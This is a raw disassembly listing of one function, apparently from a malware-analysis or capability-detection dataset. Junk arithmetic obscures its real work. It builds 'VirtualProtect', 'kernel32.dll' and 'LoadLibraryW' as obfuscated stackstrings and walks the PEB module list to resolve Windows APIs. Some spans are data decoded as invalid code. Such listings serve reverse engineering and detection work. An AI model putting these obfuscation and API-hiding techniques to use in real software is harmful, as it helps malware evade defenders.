Function at 0x409c3f
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x5f00015d
push edi
push ecx
add esp, 4
or edi, 0xd794
add byte [eax], al
pop edi
push esi
jmp 0x408e9b
pop esi
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x1974], eax
push ebx
sub ebx, 0x11a1a
xor ebx, 0x14dd8
or ebx, 0x11b7d
xor ebx, 0xdfaf
pop ebx
push ecx
push edi
add esp, 4
add ecx, 0x11cf6
xor ecx, 0x495f
add ecx, 0x42ff
pop ecx
mov ecx, dword [ebp - 0x1974]
mov dword [ebp - 0x1978], ecx
lea edx, [ebp - 0x1738]
push edx
call dword [ebp - 0x1978]
test eax, eax
jne 0x408f38
push edi
and edi, 0xd81
sub edi, 0xd9ba
and edi, 0x89ac
and edi, 0x15636
pop edi
push edx
push ebx
add esp, 4
and edx, 0x2c13
xor edx, 0x177d6
xor edx, 0x42ff
pop edx
mov dword [ebp - 0x79c], 0
jmp 0x409622
push ecx
push eax
add esp, 4
sub ecx, 0x26b0
pop ecx
push ecx
push ecx
add esp, 4
and ecx, 0x1515f
pop ecx
push edx
push esi
add esp, 4
or edx, 0x8cd
pop edx
push eax
sub eax, 0x764e
sub eax, 0xbd9f
pop eax
mov ecx, dword [ebp - 0x3e8]
add ecx, 0xe
mov dword [ebp - 0x19dc], ecx
push ecx
push edi
add esp, 4
and ecx, 0x6c97
pop ecx
push ebx
xor ebx, 0x49a8
pop ebx
push edi
push ebx
add esp, 4
sub edi, 0x3d36
add edi, 0xfb71
pop edi
push eax
push edx
add esp, 4
add eax, 0x15e29
pop eax
cmp dword [ebp - 0x3e8], 0
je 0x4096a7
cmp dword [ebp - 0xab8], 0
jne 0x4096ed
push ebx
push esi
add esp, 4
or ebx, 0x7ab4
and ebx, 0x59b
or ebx, 0x17d07
pop ebx
push esi
or esi, 0x1759b
or esi, 0xfa6e
xor esi, 0xfc04
sub esi, 0x421e
pop esi
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x1990], edx
push 0
call dword [ebp - 0x1990]
mov dword [ebp - 0x20a8], 0xa
push eax
push ecx
add esp, 4
jmp 0x409702
sub eax, 0x851e
pop eax
push esi
push esi
add esp, 4
and esi, 0x53b0
jmp 0x40971c
sub esi, 0x10121
add esi, 0xb484
pop esi
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab8]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1694], edx
mov dword [ebp - 0xce8], 0
push edx
push esi
add esp, 4
sub edx, 0x1258a
and edx, 0x2ecb
or edx, 0x13d34
sub edx, 0x187c
pop edx
push ecx
sub ecx, 0xdedb
sub ecx, 0xa3be
sub ecx, 0xef77
pop ecx
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push esi
add esi, 0xa969
pop esi
push eax
and eax, 0x9926
pop eax
push esi
push edi
add esp, 4
and esi, 0x73da
call 0x409817
add byte [ebx + 0x39], al
inc ecx
xor edi, dword [0xc4833342]
add al, 0x81
div byte [ecx - 0x69]
add byte [eax], al
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1994], eax
mov ecx, dword [ebp - 0x1994]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1998], edx
mov eax, dword [ebp - 0x1998]
mov dword [ebp - 0x1614], eax
push edx
jmp 0x409852
pop edx
push ecx
sub ecx, 0x65ed
pop ecx
push esi
or esi, 0x16526
sub esi, 0x6146
jmp 0x409871
jmp 0x409879
pop esi
cmp dword [ebp - 0x1614], 0
jne 0x409892
mov dword [ebp - 0x2fc], 0
jmp 0x409b39
mov ecx, dword [ebp - 0x1614]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push ecx
push eax
add esp, 4
jmp 0x4098af
sub ecx, 0xad73
and ecx, 0x3927
pop ecx
push edi
and edi, 0x5d82
or edi, 0x1812e
or edi, 0x15f0d
sub edi, 0x56db
pop edi
cmp dword [ebp - 0xcc4], 0
jne 0x4098ee
mov dword [ebp - 0x2fc], 0
jmp 0x409b39
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push esi
push ecx
add esp, 4
sub esi, 0x13a2e
or esi, 0x140a7
call 0x409917
add byte [eax + 0x43], dl
dec ebx
inc esi
xor al, 0x4d
add esp, 4
jmp 0x409923
pop esi
push esi
and esi, 0x68fe
pop esi
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
push edx
add esp, 4
sub edx, 0x16d26
jmp 0x409967
pop edx
push edx
xor edx, 0x182d8
jmp 0x409978
jmp 0x409980
jmp 0x409987
pop edx
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push ebx
push ebx
add esp, 4
xor ebx, 0x4662
pop ebx
push edx
call 0x4099f8
add byte [edi + 0x34404933], bh
add esp, 4
call 0x409a07
add byte [ebp + esi + 0x3d], al
aas
dec ebp
add esp, 4
add edx, 0x10c43
pop edx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x409a2e
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x161c], ecx
jmp 0x409a88
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x409956
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x409956
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x409a72
mov dword [ebp - 0x1618], 0xffffffff
jmp 0x409a7c
mov dword [ebp - 0x1618], 1
mov eax, dword [ebp - 0x1618]
mov dword [ebp - 0x161c], eax
cmp dword [ebp - 0x161c], 0
jne 0x409ad1
push edi
and edi, 0x3f19
jmp 0x409a9e
and edi, 0x132d9
pop edi
push ecx
push ebx
add esp, 4
and ecx, 0x31ad
pop ecx
push edi
call 0x409abf
add byte [edi + eax*2], dh
push eax
aas
aaa
inc esi
xor eax, dword [ebx - 0x74a0fb3c]
invalid
push esi
push ecx
add esp, 4
sub esi, 0x5ba7
jmp 0x409ae4
pop esi
push ecx
push esi
add esp, 4
or ecx, 0x4f
sub ecx, 0x15878
pop ecx
push esi
push edi
add esp, 4
sub esi, 0x49ca
pop esi
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x409b2f
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x4098fa
mov dword [ebp - 0x2fc], 0
push edx
push eax
add esp, 4
add edx, 0x1564e
pop edx
push ecx
call 0x409b53
add byte [ecx + 0x33], cl
dec edx
aaa
dec ebx
xor eax, 0x4c4834c
add ecx, 0xe140
add ecx, 0x13d61
pop ecx
push edi
or edi, 0x897c
pop edi
cmp dword [ebp - 0x2fc], 0
jne 0x40a470
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
mov word [ebp - 0x177c], cx
mov edx, 0x6c
mov word [ebp - 0x177a], dx
xor eax, eax
mov word [ebp - 0x1778], ax
push edi
call 0x409c21
add byte [edx], bh
dec esi
xor bh, byte [ecx]
cmp edi, dword [ebx]
xor bh, byte [edx]
dec edx
add esp, 4
xor edi, 0x1a15
sub edi, 0x155f
call 0x409c3f
add byte [edi], dh
xor cl, byte [esi + 0x43]
aaa
inc ebx
xor edi, dword [edi]
inc edx
add esp, 4
pop edi
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x199c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov dword [ebp - 0x1620], ecx
push edx
add edx, 0xeca7
and edx, 0x1777d
xor edx, 0x1456d
or edx, 0x161da
pop edx
push edx
push eax
add esp, 4
xor edx, 0x152c1
add edx, 0x1143c
add edx, 0x78dc
pop edx
cmp dword [ebp - 0x1620], 0
jne 0x409d10
mov dword [ebp - 0x774], 0
jmp 0x409fb7
mov edx, dword [ebp - 0x1620]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd0], ecx
push ebx
or ebx, 0x4d3
and ebx, 0x24c4
sub ebx, 0x11703
jmp 0x409d3b
pop ebx
push esi
push ecx
add esp, 4
add esi, 0x128de
sub esi, 0xf2a6
add esi, 0x448
pop esi
cmp dword [ebp - 0xcd0], 0
jne 0x409d6c
mov dword [ebp - 0x774], 0
jmp 0x409fb7
mov edx, dword [ebp - 0xcd0]
mov dword [ebp - 0x518], edx